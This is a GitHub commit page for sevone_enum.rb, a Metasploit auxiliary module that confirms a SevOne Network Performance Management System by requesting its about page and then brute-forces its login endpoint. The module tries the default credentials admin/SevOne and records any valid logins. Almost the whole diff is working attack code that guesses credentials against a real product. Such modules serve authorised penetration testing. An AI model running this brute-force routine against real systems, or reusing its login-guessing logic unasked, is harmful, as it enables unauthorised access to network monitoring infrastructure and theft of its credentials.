Skip to content

Commit 1ca8fd2

Browse files
committed
Update sevone_enum.rb
Updated as per initial review comments.
1 parent fcc600a commit 1ca8fd2

File tree

1 file changed

+115
-120
lines changed

1 file changed

+115
-120
lines changed
Lines changed: 115 additions & 120 deletions
Original file line numberDiff line numberDiff line change
@@ -1,120 +1,115 @@
1-
+##
2-
+# This file is part of the Metasploit Framework and may be subject to
3-
+# redistribution and commercial restrictions. Please see the Metasploit
4-
+# web site for more information on licensing and terms of use.
5-
+# http://metasploit.com/
6-
+##
7-
+
8-
+require 'rex/proto/http'
9-
+require 'msf/core'
10-
+
11-
+class Metasploit3 < Msf::Auxiliary
12-
+
13-
+ include Msf::Exploit::Remote::HttpClient
14-
+ include Msf::Auxiliary::Report
15-
+ include Msf::Auxiliary::AuthBrute
16-
+ include Msf::Auxiliary::Scanner
17-
+
18-
+ def initialize(info={})
19-
+ super(update_info(info,
20-
+ 'Name' => 'SevOne Network Performance Management System application version enumeration and brute force login Utility',
21-
+ 'Description' => %{
22-
+ This module scans for SevOne Network Performance Management System Application, finds its version,
23-
+ and performs login brute force to identify valid credentials.},
24-
+ 'Author' =>
25-
+ [
26-
+ 'KarnGaneshen[at]gmail.com',
27-
+ ],
28-
+ 'Version' => '1.0',
29-
+ 'DisclosureDate' => 'June 07, 2013',
30-
+ 'License' => MSF_LICENSE
31-
+ ))
32-
+ register_options(
33-
+ [
34-
+ Opt::RPORT(8443),
35-
+ OptString.new('USERNAME', [false, 'A specific username to authenticate as', 'admin']),
36-
+ OptString.new('PASSWORD', [false, 'A specific password to authenticate with', 'SevOne']),
37-
+ OptString.new('STOP_ON_SUCCESS', [true, 'Stop guessing when a credential works for a host', true])
38-
+ ], self.class)
39-
+ end
40-
+
41-
+ def run_host(ip)
42-
+ if not is_app_sevone?
43-
+ print_error("Application does not appear to be SevOne. Module will not continue.")
44-
+ return
45-
+ end
46-
+
47-
+ print_status("Starting login brute force...")
48-
+ each_user_pass do |user, pass|
49-
+ do_login(user, pass)
50-
+ end
51-
+ end
52-
+
53-
+ #
54-
+ # What's the point of running this module if the app actually isn't SevOne?
55-
+ #
56-
+ def is_app_sevone?
57-
+
58-
+ res = send_request_cgi(
59-
+ {
60-
+ 'uri' => '/doms/about/index.php',
61-
+ 'method' => 'GET'
62-
+ })
63-
+
64-
+# should include version number
65-
+
66-
+ if (res and res.code.to_i == 200 and res.headers['Set-Cookie'].include?('SEVONE'))
67-
+ version_key = /Version: <strong>(.+)<\/strong>/
68-
+ version = res.body.scan(version_key).flatten
69-
+ print_good("Application confirmed to be SevOne Network Performance Management System version #{version}")
70-
+ success = true
71-
+ end
72-
+ end
73-
+
74-
+
75-
+ #
76-
+ # Brute-force the login page
77-
+ #
78-
+ def do_login(user, pass)
79-
+ vprint_status("Trying username:'#{user}' with password:'#{pass}'")
80-
+
81-
+ begin
82-
+ res = send_request_cgi(
83-
+ {
84-
+ 'uri' => "/doms/login/processLogin.php?login=#{user}&passwd=#{pass}&tzOffset=-25200&tzString=Thur+May+05+1983+05:05:00+GMT+0700+",
85-
+ 'method' => 'GET'
86-
+ })
87-
+
88-
+ check_key = "The user has logged in successfully."
89-
+
90-
+ key = JSON.parse(res.body)["statusString"]
91-
+
92-
+ if (not res or key != "#{check_key}")
93-
+ vprint_error("FAILED LOGIN. '#{user}' : '#{pass}' with code #{res.code}")
94-
+ return :skip_pass
95-
+ else
96-
+ print_good("SUCCESSFUL LOGIN. '#{user}' : '#{pass}'")
97-
+
98-
+ report_hash = {
99-
+ :host => datastore['RHOST'],
100-
+ :port => datastore['RPORT'],
101-
+ :sname => 'SevOne Network Performance Management System Application',
102-
+ :user => user,
103-
+ :pass => pass,
104-
+ :active => true,
105-
+ :type => 'password'}
106-
+
107-
+ report_auth_info(report_hash)
108-
+ return :next_user
109-
+ end
110-
+
111-
+ rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
112-
+ res = false
113-
+ rescue ::Timeout::Error, ::Errno::EPIPE
114-
+
115-
+ rescue ::Rex::ConnectionError, Errno::ECONNREFUSED, Errno::ETIMEDOUT
116-
+ print_error("HTTP Connection Failed, Aborting")
117-
+ return :abort
118-
+ end
119-
+ end
120-
+end
1+
##
2+
# This file is part of the Metasploit Framework and may be subject to
3+
# redistribution and commercial restrictions. Please see the Metasploit
4+
# web site for more information on licensing and terms of use.
5+
# http://metasploit.com/
6+
##
7+
8+
require 'rex/proto/http'
9+
require 'msf/core'
10+
11+
class Metasploit3 < Msf::Auxiliary
12+
13+
include Msf::Exploit::Remote::HttpClient
14+
include Msf::Auxiliary::Report
15+
include Msf::Auxiliary::AuthBrute
16+
include Msf::Auxiliary::Scanner
17+
18+
def initialize(info={})
19+
super(update_info(info,
20+
'Name' => 'SevOne Network Performance Management System Application Version Enumeration and Brute Force Login Utility',
21+
'Description' => %{
22+
This module scans for SevOne Network Performance Management System Application, finds its version,
23+
and performs login brute force to identify valid credentials.},
24+
'Author' =>
25+
[
26+
'Karn Ganeshen <KarnGaneshen[at]gmail.com>',
27+
],
28+
'Version' => '1.0',
29+
'DisclosureDate' => 'June 07, 2013',
30+
'License' => MSF_LICENSE
31+
))
32+
register_options(
33+
[
34+
Opt::RPORT(8443),
35+
OptString.new('USERNAME', [false, 'A specific username to authenticate as', 'admin']),
36+
OptString.new('PASSWORD', [false, 'A specific password to authenticate with', 'SevOne']),
37+
OptString.new('STOP_ON_SUCCESS', [true, 'Stop guessing when a credential works for a host', true])
38+
], self.class)
39+
end
40+
41+
def run_host(ip)
42+
if not is_app_sevone?
43+
print_error("Application does not appear to be SevOne. Module will not continue.")
44+
return
45+
end
46+
47+
print_status("Starting login brute force...")
48+
each_user_pass do |user, pass|
49+
do_login(user, pass)
50+
end
51+
end
52+
53+
#
54+
# What's the point of running this module if the app actually isn't SevOne?
55+
#
56+
def is_app_sevone?
57+
58+
res = send_request_cgi(
59+
{
60+
'uri' => '/doms/about/index.php',
61+
'method' => 'GET'
62+
})
63+
64+
# should include version number
65+
66+
if (res and res.code.to_i == 200 and res.headers['Set-Cookie'].include?('SEVONE'))
67+
version_key = /Version: <strong>(.+)<\/strong>/
68+
version = res.body.scan(version_key).flatten
69+
print_good("Application confirmed to be SevOne Network Performance Management System version #{version}")
70+
success = true
71+
end
72+
end
73+
74+
#
75+
# Brute-force the login page
76+
#
77+
def do_login(user, pass)
78+
vprint_status("Trying username:'#{user.inspect}' with password:'#{pass.inspect}'")
79+
begin
80+
res = send_request_cgi(
81+
{
82+
'uri' => "/doms/login/processLogin.php?login=#{user}&passwd=#{pass}&tzOffset=-25200&tzString=Thur+May+05+1983+05:05:00+GMT+0700+",
83+
'method' => 'GET'
84+
})
85+
86+
check_key = "The user has logged in successfully."
87+
88+
key = JSON.parse(res.body)["statusString"]
89+
90+
if (not res or key != "#{check_key}")
91+
vprint_error("FAILED LOGIN. '#{user.inspect}' : '#{pass.inspect}' with code #{res.code}")
92+
return :skip_pass
93+
else
94+
print_good("SUCCESSFUL LOGIN. '#{user.inspect}' : '#{pass.inspect}'")
95+
96+
report_hash = {
97+
:host => datastore['RHOST'],
98+
:port => datastore['RPORT'],
99+
:sname => 'SevOne Network Performance Management System Application',
100+
:user => user,
101+
:pass => pass,
102+
:active => true,
103+
:type => 'password'}
104+
105+
report_auth_info(report_hash)
106+
return :next_user
107+
end
108+
109+
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::Rex::ConnectionError, ::Errno::EPIPE
110+
res = false
111+
print_error("HTTP Connection Failed, Aborting")
112+
return :abort
113+
end
114+
end
115+
end

0 commit comments

Comments
 (0)